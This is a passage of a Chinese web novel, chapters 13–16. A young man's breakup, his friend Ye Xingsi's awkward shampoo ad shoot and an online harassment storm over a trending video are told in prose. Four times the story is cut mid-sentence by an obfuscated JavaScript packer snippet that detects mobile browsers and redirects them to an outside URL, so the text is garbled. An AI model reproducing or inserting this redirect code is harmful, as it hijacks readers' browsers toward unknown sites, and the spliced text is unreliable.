第二句更过分,身为男朋友,这会儿更考虑的竟是别人脸上挂不挂得住,完全没把俞悄的反应放心上,还以为他是吃醋,在闹脾气。 “什么发小发大的,发小儿就得那样啊?一点边界感都没有,都不背着点儿人?” 俞悄平时说话不这么咄咄逼人,他现在实在是恶心。 “还是你们私底下玩得更大?” 周行东又沉默了。 这回安静了好几秒,再开口,他语气也冷下来。 “他如果是个直男,你还能有这么大反应?”周行东问。 确实,有些直男闹腾起来比基佬都放得开。 俞悄想想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809764|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如果小蜡是直男,他好像真没什么感觉了。 “是直男也有问题。” 但俞悄不舒服的点不在这。 “就算是直男,明知道你是弯的,我是你男朋友,也不会这么没边界感吧?” “尊重朋友和朋友的对象,不是一个正常朋友最基本该做到的吗?” “更别说你那个小蜡他根本不是直男。”俞悄试图跟周行东说明白,“你不用跟我偷换概念。如果换作是我呢?你也这么……” “俞悄。” 然而周行东直接打断了他。 “别跟个小姑娘一样。这圈子没你想得那么干净。” 这下轮到俞悄安静了。 过了好一会儿,周行东又点了第二根烟,俞悄一字一句地开口对他说:“那是你们。” “嗯。”周行东应一声,“那掰了吧。” 喜欢周行东半年,外加所谓的谈恋爱小三个月以来,俞悄第一次没等对面结束通话,抢先一步把电话给挂了。 爽。 俞悄咬着嘴唇深呼吸,紧紧攥着已经黑屏的手机,拇指一下下摩挲着。 我真帅。 家门突然被拉开,老妈敷着面膜漏出半张脸,瞅见是俞悄,俩人都吓一跳。 “干嘛不进家!” 老妈瞪着眼睛拍了拍胸口。 “我以为要进贼呢,看监控门口站着个人一直打电话……出去受俩月罪,自己家门都不会开了?” 冷不丁听见家里人的声音,俞悄突然有点想哭。 “没受罪。” 他不敢跟老妈对视,抬手搂了搂她,低着脑袋换鞋,直接上楼。 “我累死了,先睡觉了妈。” “这孩子……吃饭没有,饿不饿啊?”老妈扯着面膜瓮声瓮气地问。 俞悄飞快地冲了个澡,脑袋一沾枕头就着。 他这觉睡得特别死,逼着自己睡的——洗澡的时候,曾经和周行东那些比较美好的画面跟雨点似的乱冒,那些委屈的后劲儿也开始往上返。 真就到了要分手的程度? 他明明是想跟周行东说明白,他不舒服有问题吗? 这些念头一出现,俞悄抬手就给了自己一嘴巴。怕自己想多了后悔。 关键手机没电了,他不睡觉也没事干。 充电器还在行李箱里,行李箱还扔在纪繁西办公室。现在的他不想说话,也懒得去翻旧充电器。 一觉睡到第二天,俞悄被俞小雨一嗓门给炸醒。 “哥!” 俞小雨跟朋友毕业旅行刚到家,听老妈说俞悄回来了,激动得直接往她哥床上蹦。 “别睡了你,快给我讲讲你都吃到什么瓜了!” 俞悄痛苦的睁开眼,把俞小雨踢下去,到处摸索手机:“几点了?” “十点零五。”俞小雨看了眼。 俞悄半死不活的眼皮一下就掀开了。 合同! 13.第 13 章 合同不是今天签,谈都不知道要谈多久。 即便是今天,也和俞悄这个临时助理没什么相干。 他实在是被《塌房》给熬出条件反射了——天天脑子还没真醒,两眼一睁,琢磨的就全是叶幸司的大小事儿。 一睡醒不用对着摄像头,他还有点不会起床了。 哦对,昨天还分手了。 先想到上班才想起分手,俞悄你也是成了。 俞悄的意识东一榔头西一棒槌,直挺挺地坐起来醒神儿,在心里夸赞自己。 俞小雨对着他脑门就是一巴掌。 “你中邪了?坐那么直溜干嘛。” 俞悄思路被打断,捂着额头跟俞小雨对瞪,气得无语,感觉这妹妹脑子跟有病似的,活活给他气笑了。 “你上火了。”俞小雨指指自己嘴角的位置。 俞悄摸摸,一个火泡。 怪不得笑一下嘴角牵着疼。 “我手机呢?”他低着头在床上翻。 “那。桌子上。”俞小雨又指。 看别人“眼里没活儿”原来是这种感觉。 “帮我拿一下,”他隔着被子又踢俞小雨,“指指指。” 手机还剩6个电,屏幕上好几条消息。 《塌房》工作群的,跟随导演的,纪繁西的,还有叶幸司一小时前发来的一个问号。 唯独没有周行东的。 俞悄打开对话框,通过转账看了眼,好友还在。 好友在,但没有电话,没有消息,周行东的朋友圈一如既往三天可见,连条伤感文案都没发。 俞悄返回到资料页,直接把好友删掉了。 无所谓。 我俞悄也不是孬种。 好汉俞悄快速回了几条消息,丢下手机去洗漱换衣服。 等他呲着一脑袋飞毛赶到公司,正好碰上纪繁西和叶幸司从会议室出来。 “哎哟我天。”纪繁西看见俞悄,“啧”了声,“刚睡醒?” 跟随导演的镜头闻着味儿就从她身后探出来了。 “啊。”俞悄不好意思地揉揉眼,“手机没电关机了,没听见铃。” “回家接着睡吧。”纪繁西在他脑袋上拍两下,跟拍狗似的,“把你行李箱拿走。” 俞悄转脸看看叶幸司:“你们商量啥呢?” “合同差不多了。”纪繁西说。 “这么快?”俞悄吃了一惊。 他以为昨天纪繁西那为难的态度,得是个细磨慢推的大事儿呢。 不过也合理。 俞悄回想起自己成为叶幸司助理的整个流程。 这风风火火的效率,也确实是纪繁西的办事风格。 “嗯。”叶幸司心里估计都乐开花了,还装酷。 他也不知道多早起得床,又把自己捯饬得跟要开发布会似的,从头发丝精致到首饰。 要搁平时,俞悄得笑话他。 但他今天只是点点头,“啊”一声:“那很好啊。” 叶幸司打量着他,眉梢轻轻动了下。 “还争取到报酬了呢。”纪繁西笑着说。 “真的啊?”俞悄眼睛一亮。 “品牌方要送一车洗发水给你艺人。” “……也行。”俞悄咧嘴,“苍蝇腿也是肉。” “怎么了你?”纪繁西身为亲老姨,捕捉到俞悄的低气场。 “嗯?”俞悄抓抓头发,背着镜头小声说,“没啥,失恋了。” 他躲镜头这一下都多余。 俞悄的感情经历无人在意。纪繁西这种摘除了爱情模块的工作狂魔,对于青年人这些爱来爱去的琐事毫无兴趣,问完就装没听见。 叮嘱俞悄安排个酒店,今天得请跟随导演吃个饭,她接起电话又去忙了。 跟随导演收起摄像机感慨:“等签合同再录就行啦。” 俞悄扭脸看叶幸司。 “看什么。”叶幸司问。 “……没事。”俞悄干巴巴地说。 人这东西有时候就是带点儿贱。 俞悄都准备好做出潇洒的姿态了,结果真没人管他,他自己就忍不住老琢磨,开始体味潇洒分手后的情绪反扑。 不过没有观众的反扑也没什么意思。 而且他和周行东名义上处了三个月,实际上在一起的时间屈指可数,也没多少能回忆的点。 周行东不会主动再联系,俞悄了解这个人的性子,他身边不缺人陪,什么时候能发现俩人没好友了都难说。 俞悄的第一段恋爱,就这么单薄地结束了。 叶幸司的第一个广告合同,是在一周后正式签订的。 这几天俞悄比他还翘首以盼,一切流程走完,录制也直接提上日程。 叶幸司第一时间拿着剧本研究,俞悄挤在一旁大概看了下要拍摄的内容,感到无语。 “你研究啥呢?”他把剧本从叶幸司手里抽出来,抖得“哗啦啦”响。 “就这两页纸,拢共没有十句词。往这一坐半小时不吭声,我以为多大的戏呢,” 这广告的剧情十分俗套—— 男主和女主在大学楼梯转角邂逅,两人一见钟情。擦肩而过时,女主的发丝飘拂起来,清新的洗发水香气令男主记忆深刻。 毕业晚会上,男主参演了学校的舞蹈剧,要在十一个戴着相同面具的姑娘里,选出真正的公主。 女主顶替突然拉肚子的闺蜜上台救场,男主凭借那记忆中的独特发香,情不自禁又无比精准的选中了正确的公主。 然后两人在欢声笑语中共舞,广告结束。 内容低质到完美符合此次的合作价位。 “共舞是干啥?”俞悄光看文字都觉得牙帮子发酸。 “一种表现手法。”叶幸司把剧本从他手里抽回来。 你还解答上了。 俞悄往沙发上一摊,看着叶幸司认真揣摩剧本的后脑勺,小声嘀咕:“魔怔。” 拍广告的地方在一所民办高中,出了名的豪华,学费也是出了名的贵。前阵子有部偶像剧就是在那拍的,俞小雨专门翘了课跑去看现场。 他们要拍摄的内容简单,广告方只租借了学校的剧场,正好暑假没什么人,俞悄想像中被一堆学生围观的场景完全没出现。 “叶老师!这边!” 因为有《塌房》的摄影跟着,接待他们的工作人员倒是很热情,从剧院门口一路介绍着,把叶幸司他们带到化妆间。 “两套服装,等下先拍楼梯那段。”工作人员拿了身白衬衫黑裤子,“老师先换衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812430|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” “谢谢。”叶幸司接过来,礼貌地点了下头。 工作人员出去,叶幸司挡帘一拉,开始换装。 “就直接做完造型就开始拍啊?” 俞悄有点儿惊奇,靠坐在柜子上当啷着腿,这看那看,看什么都新鲜。 “女方的面都没见,你能进入状态吗?” “你能先进入状态吗?”叶幸司把脱下来的衬衫扔过去。 他已经懒得教俞悄什么是“助理”了。 “叠好。” 叶幸司的造型很好做,化妆师给他头发捯饬蓬松,五官化得柔和一点儿,那股高校男神的感觉立马就出来了。 俞悄歪着脖子杵旁边看,终于有了自己是在演艺圈上班的真实感。 ——明明叶幸司还是那个叶幸司,此刻却成为了另一个角色的载体。 “是帅哈。”他忍不住冲《塌房》的跟随导演说。 大摄像头上下晃了晃。 女方那边已经做完妆造了,据说是电影学院抓来的学生,很青涩,和叶幸司互相打招呼,紧张得捋了四五遍头发。 俞悄在场外看导演给他们卡站位,楼梯拐角一上一下的两个人,光站在那儿就赏心悦目。 这还要什么演技,这广告闭眼拍都能好看。 俞悄心里升起一股小小的激动,感觉叶幸司简直马上就要火了。 然而板一打,正式开拍,他望着导演小镜头里的叶幸司,心里那点儿小激动,一点点变成了小迷惑。 “卡,卡。”导演举起手,也是满脸迷茫。 他抓了抓头发,冲叶幸司喊话:“男生自然点,自然下楼走路就行。” 叶幸司点头,回到刚才的站位上。 打板声再次响起,叶幸司抬脚下楼,与上楼的女主相遇,两人四目相对,叶幸司面无表情,女生垂下眼皮,继续上楼。 擦肩而过的瞬间,叶幸司猛地来了个无比做作的深情大回首。 众人不约而同满脸痛苦,脚趾狠狠抠进鞋底。 “你刚才为啥要那样啊?” 俞悄在叶幸司身后暴走,走两步就重复一下刚才的大转头。 “为啥要这样啊?” 一段简单的下楼梯偶遇,硬是拍了四条才过。 连第四条都差强人意,非常奇怪,就算没有了夸张的转头和刻意的注视,叶幸司的表情也没什么不对的地方,在镜头里看过去,就是给人一种在“表演”的感觉。 就是十分纯粹的,演技差。 导演从一开始的客气,逐渐变为不耐烦,直言让叶幸司“别加戏”。 全场尴尬且寂静,《塌房》的镜头默默纪录一切,叶幸司微微耷下睫毛:“抱歉。” “就这样吧。”导演挥挥手,让大家休息,等会儿拍下一场。 女演员也没了一开始的拘谨,很疲惫地吁了口气,冲叶幸司点点头就走了。 “明明平时啥也不干就很帅,怎么在镜头前就那么不自然呢?” “你就别琢磨别揣度人物,别加戏,让咱拍啥就拍啥呗。你还没到那个能改剧本的咖,能明白吗?” 俞悄还在来回踱步,深表不解。 叶幸司坐在化妆镜前,被化妆师托着脸捯饬,望着镜子里的自己,没说话。 14.第 14 章 化妆间也静悄悄的,俞悄突然意识到,自己好像有点伤人。 他透过镜子偷看叶幸司的表情,感觉对于演技差这件事,叶幸司应该比谁都明白。 这么一个一心只想演戏的人,应该很不是滋味吧。 俞悄摸摸鼻子,装作很忙的样子,去拧了瓶水喝。 舞台剧的妆造比上一身复杂,妆更浓,叶幸司的头发被抓了起来,鬓角的碎发别了两个一字夹,方便等下戴面具。 造型师给他拿了套类似王子的装扮,还有件大红披风,抖一下,扬起半屋子灰。 “咳!”俞悄鼻子敏感,被呛得咳了好几声,“这咋穿?” 没人理他,大家都一副习以为常的样子,叶幸司微微垂首,让造型师帮他套披风,处理细节。 等收拾得差不多,人都出去了,俞悄挨在叶幸司旁边坐下,碰碰他的肩膀。 “其实还好啦。” 叶幸司转脸看他:“什么?” “刚才楼梯的戏。”俞悄说,“最后一遍挺好的。” “我心里有数。”叶幸司说。 “感觉你是太想演好了。”俞悄想了想,“其实你什么都不想的时候,那种目中无人的状态是最帅的。” “有时候越想做好什么,越容易显得太用力。” 这安慰的话不如不说。 叶幸司嘴角扯了扯,没接俞悄的话。 舞台剧的戏也许是因为肢体动作本身就夸张,也可能是戴了面具,看不出表情,叶幸司发挥得反倒比上一场好。 让俞悄尴尬的共舞,也不是他想像中那种复杂的舞蹈,男女主拉着手转俩圈,摆几个姿势,意思意思就过了。 但是由于人多,这段的拍摄更加繁琐,从下午一直拍到天黑。等叶幸司的部分完活,俞悄已经坐在角落里睡着了。 “醒。”叶幸司踢踢俞悄的脚。 “嗯?”俞悄激灵一下,“结束了?” “嗯。”叶幸司往化妆间走,“你能回家了。” 俞悄看看时间,他们是中午到的,现在是两点二十四。 所有工作人员都很疲倦,懒洋洋的收着工。 俞悄走到一半,想起手机充电器还插在现场,又回去找。 经过机组时,他听见导演在嘲讽:“要么说便宜没好货。” 俞悄脚步一停。 导演看到他,丝毫不自在的反应都没有,招呼着助理收工:“走吧,走吧。这一天……真是折磨。” 折磨不也是用了叶幸司,再便宜也是品牌方定的演员。 折磨也是你们老板自找的。 叶幸司那个演技让俞悄说不出反驳的话,只能默默骂了这个导演几句,给自己顺气。 不管如何,也不管拿没拿到钱,顺利完成这次广告拍摄,是一件值得开心的事。 《塌房》那边的录制有了结局,多余的录制已经没必要了,也正式杀了青。 对叶幸司而言,总归是两件好事。 对他而言,这小两个月的实习,也算没有辜负纪繁西,完满地画上了句号。 卸完妆从学校出来,已经夜里三点多了。 “地铁没了吧?” 俞悄和叶幸司走到路口,红灯七十多秒,他蹲在地上托着脸。 “嗯。”叶幸司靠在灯柱上,应了声。 “打个车吧,我代表公司给你报销。” “不知道节目什么时候上,广告应该会快一点。” 俞悄嘴里絮絮的碎叨着。 “如果后面有了别的机会,你要抓住。” 叶幸司垂下眼皮瞥他。 “我觉得你会火的,叶幸司。” 俞悄抬起脸,远处中心大厦上巨大的led屏,白桃的第一个高奢代言24小时循环播放着。 “早晚你也会成为特别贵的那种演员,好剧本求着往你手里送,最好的代言排着队请你。” 夜风从路口拂过,带着倦怠的味道。 这座城市的夜晚依然车水马龙,任何亮着光的地方,永远不缺为了生活奔波的人。 “神经病。” 叶幸司嘴角噙起一抹笑。 绿灯亮了,他站直身子往前走,顺手朝俞悄后脑勺上兜了一把。 “走了。” “我不用过马路啦。”俞悄没动,望着叶幸司的背影,“叫好车了,拐个弯就到。” “我的工作结束了,我们都要开始新生活了。” 叶幸司的脚步只稍稍慢了两秒,绿灯短暂,他没回头,抬起胳膊挥了挥手。 按照俞悄之前的计划,《塌房》这边的工作一结束,他先得好好睡上两天,然后也去找个地方旅游,好好放松放松,把那俩月当牛做马的日子都补偿回来。 觉他是睡了,旅游也旅了,带着俞小雨去了趟马尔代夫,费用还是纪繁西给报的。 生活太惬意,他有点情绪反扑。回家后放任自己沉浸式失恋了两天,他缩在被窝里视奸周行东的各个社交平台,幻想自己是小说男主。 但是已经悲伤不起来。 实在是太闲了,他反倒有点儿不适应了。 “怎么觉得那么无聊呢。” 俞悄一早起来就没事做,瘫在沙发上打了半天王者,升了-3颗星。打开斗地主,又是一手烂牌。 他把手机扔旁边,气得坐起来翻白眼。 俞小雨的暑假生活倒是很丰富。 她给自己报了个舞蹈班,刚下课回来,进门就跟她的小姐妹们挂着电话,一会儿哪个老公发动态了要去做数据,一会儿要去压黑评。 俞悄听着她一惊一乍的动静,又倒回沙发上,打开微博准备去搜叶幸司。 这是他最近的新爱好。 叶幸司的粉丝增长度基本为零,但他的黑粉十分忠诚,而且非常有梗,俞悄有事没事就去叶幸司评论区逛逛,看看又有些什么样的新黑评。 一些客观中肯的评价,比如劝叶幸司去磨练演技,他会偷偷给人点个赞。 有些说得过分的,他会帮着怼一怼,导致自己的评论区也乌烟瘴气。 “啊?不会吧?我儿子怎么那么惨啊!” 俞悄看着自己私信和评论区一溜99+的小红点,还没来及点开,俞小雨就扯着嗓子一屁股坐下来,蹬着俞悄的腿把他往外挤。 “哥给我拿瓶水,累死我了。” 俞悄给了她一脚,去冰箱拿两瓶气泡水。 “什么啊我看看,”俞小雨忙得要死,捧着平板在刷微博,“这粉丝也太蠢了吧,明着招黑呢不是……不对,等一下,哥!” 俞小雨炮弹一样弹射过来,平板差点盖俞悄脸上。 “这不是你吗?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818163|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她激动地拉扯着屏幕,眼睛瞪溜圆。 俞悄在俞小雨的大呼小叫中,把她正在刷的微博点开细细看了一遍,明白了今天格外热闹的评论区是怎么回事。 叶幸司那天在机场扶蒋雨池粉丝,不知道怎么那么巧,被人拍了下来,今天突然上了热搜。 确切来说,是蒋雨池上了热搜。 词条十分扎眼:蒋雨池粉丝没礼貌。 那女生当时被叶幸司扶起来,连句谢谢都没有,俞悄也觉得没礼貌。 可把热搜的视频看完,他直接两眼一黑。 ——他跟在叶幸司后面,偷偷扔蒋雨池应援牌的画面,也被录下来了。 蒋雨池选秀节目出身,有多高的热度,就有多少所谓的“对家”。 评论风向原本一边倒,蒋雨池的各方对家粉闻着味儿一样,纷纷出征,把粉丝个人行为上升到“蒋雨池请做好粉丝管理”、“蒋雨池粉丝对前辈无礼”、“蒋雨池粉随正主”、“蒋雨池扰乱公共秩序”。 各种tag一套套的刷。 但是刷着刷着,战火就有点倒向叶幸司这边。 “接机现场混乱没做好组织工作我们道歉,挨打立正没得说。但是叶幸司助理扔其他艺人应援物,有点恶心了吧?” “笑死,什么叶幸司根本没听过。” “蹭热度也没必要用这种手段,白莲花人设已经过时了哦咯咯。” “想洗自己把自家助理搭上?狐狸尾巴藏好点吧。” “某叶姓‘前辈’想火想疯了吧。” “糊人多作怪。” “哈哈哈没看到助理扔师弟应援物?装瞎子这方面我哥的演技是这个[大拇指][大拇指]” …… 俞悄刷着一条条的恶评,每个字都像一柄锤子,“咚咚”敲着他的胸口。 天塌了! “……这都什么跟什么?” 他心慌意乱,点开自己私信大概看了眼,那些粉丝也不知道怎么挖到的他,各种咒骂塞满聊天框,好像他不是扔了个小牌子,而是刨了这些陌生人的祖坟。 粉丝都涨了大几万。 叶幸司那边更不用提,这半年来最火的一天,黑粉疯涨,那些演技黑历史连带着全被翻了出来。 “什么意思啊哥,真是你们自己买的热搜?” 俞小雨也不去给她儿子控恶评了,也不关心她亲哥死活,沉浸在一线吃瓜的激动中。 “你别说,给你拍的还挺上相。” 俞悄没心思跟她打岔,他脑子乱得要命,回房间给叶幸司打电话。 “你没事吧?” 电话一接通,俞悄就紧张的问。 “怎么了?”叶幸司那边很平静,似乎还不知道发生了什么。 俞悄大概给他说完,叶幸司去微博看了看,无所谓地笑了声。 “你还笑得出来?” 俞悄祖上三代都被骂完了,他哪经历过这阵仗,以为叶幸司是被刺激疯了。 “不会真是你买的热搜吧?” 叶幸司明显无语了一下:“我偷水换来的闲钱?” “我就说……”俞悄松了口气,“那这事儿咋整啊?” “这个圈子就这样。”叶幸司说,“习惯就好了。” “不行。”俞悄皱皱眉,“你别急,我去打个电话。” 15.第 15 章 叶幸司完全没急。 俞悄是去给纪繁西打电话,结果他姨也不急。 “好事啊。” 纪繁西一早就知道了这事儿,她超凡的职业嗅觉,敏锐捕捉到了这次热搜事件里的商机,已经安排了公关处理。 “正好叶幸司的广告也要上了,都是机会。” “机啥会啊!” 俞悄一个脑袋两个大。 “给我都骂上了,咱家祖上八代都让人刨了坟了!” 纪繁西笑得不行。 “你是当事人,更关注负面评价正常。” “现在大风向对小叶是利好的,他这事儿做得招人喜欢,怕什么。” 俞悄想想,好像确实。 对比蒋雨池和叶幸司那边乱七八糟的状态,他受得这点儿骂,属实小巫见大巫了。 “那蒋雨池呢?”俞悄问,“不也是你艺人吗?” “黑火也是火。”纪繁西全不在意。 “选秀出身,高开低走的太多了。现在的娱乐圈,新人不怕黑,就怕没热度。” 俞悄对这个风气不敢苟同,但纪繁西的话,确实让他脑袋清醒了不少。 跳出他自己的视角再去看这件事,叶幸司这波真是狠狠赚了波口碑。 蒋雨池那边下力气做了处理,又发公告又压热度,按纪繁西的逻辑,也是又提了一轮话题度。 合着就剩他一个人的锅了。 “那我是叶幸司助理,会影响他吗?”俞悄心里咯咯噔噔的。 纪繁细显然有自己熟练的流程:“你又不是专业的,发个声明就行了。” 挂电话前,她还笑话俞悄:“不都辞职不干了?还这么尽职尽责呢?” “那把我都骂上了,能不问吗?”俞悄说,“我微信都炸了,初中同学都问我来了。” 挨骂只是原因之一,另一半原因俞悄没好意思说。 ——他和叶幸司毕竟朝夕相处了两个月,虽然叶幸司天天不冷不热的,但他心里已经把叶幸司当成了朋友。 朋友出事,即便当事人和经纪人都十分淡定,甚至还带点儿窃喜,他肯定还是要帮着问一下。 琢磨到这,俞悄突然来了精神,感觉给自己找到了事做。 “你在家呢?”他重新给叶幸司拨过去,“我去你那吧,在家闲着也是闲着。” “嗯。”叶幸司也没觉得俞悄冒昧,“随你。” 俞悄一扫最近懒洋洋的状态,麻利地收拾一下,挎上背包跑下楼。 俞小雨已经投入到守护蒋雨池的控评大战中了。 她趴在沙发上翘着腿,电脑手机平板,几个设备全开,连着电话开着麦,时不时还要切一下小号。 “……助理那边别骂了,那是我哥。不是,他也不知道这事儿,对,先专注压黑。” 见俞悄要出门,她抻着脖子喊:“你去哪啊哥?到底什么情况?小姨也不回我消息。” 外面太阳太大了,俞悄迈出去一条腿又收回来,给自己罩了顶遮阳帽。 “不是,家就我一个人,我吃什么啊中午?”俞小雨大声抗议。 “屎。”俞悄关上门走了。 “神经病啊!”俞小雨隔着门板尖叫,“转移战线!都去骂‘小俞静悄悄’!” 俞悄在家看那些铺天的恶评时,毫不夸张,一瞬间感觉这辈子都完了。 他实在是没经历过,以前只是听说“网络暴力”,而真正亲眼看着满页满页不管缘由的谩骂,好像全世界都站在了自己的对立面,那种茫然和无措,真让人这不是滋味。 但关掉手机走出屋子,他坐在开着冷气的车里,驶过宽阔的马路,看着与平日无异的熙攘街道,心态重又变得开阔。 恶毒的咒骂与肮脏的诅咒,陡然变得虚无缥缈。 那只是一个圈子里的事。 天不会塌,世界也不会因为某个圈子的小小热搜,而发生任何改变。 俞悄去便利店买了一扎果啤,两份便当,还有各种零零散散的小玩意。 来到叶幸司家门口,他敲门时都哼着调调。 叶幸司拉开门,迎面就是两个大购物袋。 “沉死了。” 俞悄把东西往叶幸司怀里一递,从其中一个袋子里,抽出双一次性拖鞋,拆开塑封很自觉地换上。 “买了什么乱七八糟的?”叶幸司被他这操作看愣了。 “吃的。今天还没吃饭,饿死了。” “怎么还有拖鞋?” “你这也没第二双啊。”俞悄上次在他家门口就瞅见了,“我总不能光着脚吧。” 他溜溜达达往屋里走,半个月没见了,他倒是一点儿没拿自己当外人。 叶幸司把东西搁在餐桌上,径直回到电脑前。 他租的这个一室一厅没有书房,电脑桌就摆在沙发和阳台门中间,俞悄往沙发上一盘,坐在旁边跟着瞅。 “看啥呢?” 叶幸司在回复黑粉的评论。 界面密密麻麻的,没一句好话。 右上角还用小窗开着一部电影,他漫不经心的往下划拉着微博页面,挑着回几句,再退出去看看蒋雨池那边的战况。 蒋雨池的超话已经基本平稳了,零星冒出几条黑评,几乎是立马就被压下去。 不过那些黑评也是真的过分,p蒋雨池的遗像,还把他的丑照接图在各种动物身上。 “你说蒋雨池现在该是个什么心情。”俞悄很好奇。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823650|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “乐开花了。”叶幸司说。 俞悄“啊”一声,想起粉丝接机那天,蒋雨池像个撅尾巴大公鸡似的得瑟样。 “那他还挺厉害。” 果然只有强心脏,才能在娱乐圈这种地方混下去。 叶幸司望了俞悄一眼。 “你也挺厉害。”俞悄感慨道,“挨骂了我才知道这感觉。你天天被人追着骂,得多心烦啊。” “闭嘴吧。”叶幸司又开始受不了他了。 俞悄去把吃的拎来,占了电脑桌一个小角,让叶幸司陪他一起边吃边看。 看见一些骂得过分到好笑的评论,他还会捣捣叶幸司的胳膊,要求拉回去重温一遍。 “‘糊咖就别出来蹭热度了,找个流水线上班,还能多拿几个王者国标’。” 俞悄读出来都笑得不行:“哥们儿骂得真脏啊!” “‘真没必要一直买热搜。还有你拍的那个恋爱甜甜圈,我都懒得喷’。” 《恋爱甜甜圈》确实难看。俞悄在尬剧合集里刷到过。 “‘有人摔倒正常人都会扶一下吧?泥鳅粉摔倒我也会扶,真没必要这么炒人设哈’……” “泥鳅是谁?”俞悄问。 “蒋雨池团员。” “懂了。”俞悄点头,“继续。” 他在沙发上拢拢腿,开了盒千层吃。 刚挖一口,一串id一闪而过。 “等一下等一下,往回拉!这人id叫什么?” 俞悄一字一字读出来:“猛叩雨池皮燕……” “神经病吧!怎么会有人取这种呕——!” 他笑猛了,千层的奶油呛进喉管里,呛得七死八活,赶紧趴在沙发沿上,够过电脑桌下的垃圾篓吐进去。 “你也挺恶心的。”叶幸司往后收收腿。 “对不起。”俞悄抽两张纸巾扔进去盖着。 他想起那id还是想笑,叶幸司淡定收腿的反应也莫名戳到他笑点,挂在沙发沿上抖了半天。 不管什么事儿,好像只要有人在身边共同面对,就会变得轻松起来。 俞悄本来打算这辈子不上微博了,笑完以后,吸吸鼻子靠回沙发里,他点开微博帮叶幸司怼黑评。 之前他还琢磨着要不要搞个小号,干脆也不搞了,还把主页签名改成“对,就是我扔的”。 改完两分钟收到两千多条谩骂,吓得他赶紧改成“错了哥姐们”。 当天傍晚七点半,俞悄点开微博,被开屏页面上叶幸司的脸吓一跳。 “我靠,这不是那什么吗?” 他激动地连拍叶幸司胳膊,跟上午的俞小雨如出一辙,举着手机直往人脸前怼。 “你的广告!” 16.第 16 章 叶幸司之前收到过广告方那边的视频小样,甲方这时候投广告,完全也是预料之中,没有俞悄那么一惊一乍的反应。 俞悄就不一样了。 成品广告有剪辑和bgm的加持,配上叶幸司的颜值,这开屏怼脸的冲击力,连他都被惊艳了一下。 跟那天他在拍摄现场观看的画面,简直是判若两广。 “你这脸是真能扛镜头啊哥。” 俞悄是真激动,身为参与者,打心眼里替叶幸司激动。 叶幸司脸上不显,心里肯定也高兴,假模假样的去喝水。 “帅到都不觉得那么尬了!”俞悄真诚的赞美。 叶幸司一口水含在嘴里,闭眼捏了捏鼻根。 然而演技尬这个事儿,真是什么剪辑和颜值都掩盖不住。 就像爱意与贫穷。 叶幸司帅归帅,可整个广告里,他那种也挑不出大毛病,就是让人一眼能看出在“表演”的问题,依然存在。 俞悄真心为他高兴,观众与黑粉那是绝不买账。 僵硬。 刻意。 用力过猛。 演技尴尬。 …… 叶幸司的评论区再度沸腾,迅速被这些词语充斥。 他的演技黑粉们无比忠诚,立马前来批评。 “笑死我了,啥时候悄摸接了个广子,开屏尬我一跳。” “甲方即将红温。” “消停举两瓶洗发水站那得了,我还愿意买,非得带剧情拍个戏你说。” “什么牌子的洗发水,直接避雷了。” “求退圈。” “颜值时代已经过了,望各方资本知。” “真诚发问,哥你看自己拍的东西不尴尬吗?” 俞悄一条条刷过叶幸司主页的最新评论,过滤掉蒋雨池粉丝的过激黑,专门找路人与演技黑粉们的发言。 他刚才激动的心情,在这些文字中迅速冷却降温。 人有一种很奇妙的能力,叫做共情。 平时看到演技尴尬的电视剧,俞悄也会随口吐槽,因为演戏的是演员。 做叶幸司助理之前,他搜索叶幸司的演戏片段,被尬得不敢睁眼;认识叶幸司后,刷到那些好笑的黑粉评论,他深表赞同。因为被评价的是艺人叶幸司。 而在他真正参与进来,见证了一个短短几分钟的剧情需要如何录制;他真正以“助理”的身份,知道叶幸司如何重视那两页纸的剧本;看着叶幸司如何一次次NG,NG后的沉默与反思……再看这些评价时,感受则完全不一样了。 叶幸司不是瞎拍,也不是不配合导演,他非常认真,也热爱拍戏。 虽然努力不是演技差的借口,可也只有努力过的当事人知道,那些评价有多尖锐,又有多真实。 而叶幸司日复一日在面对这些言论。 “不能这样下去。” 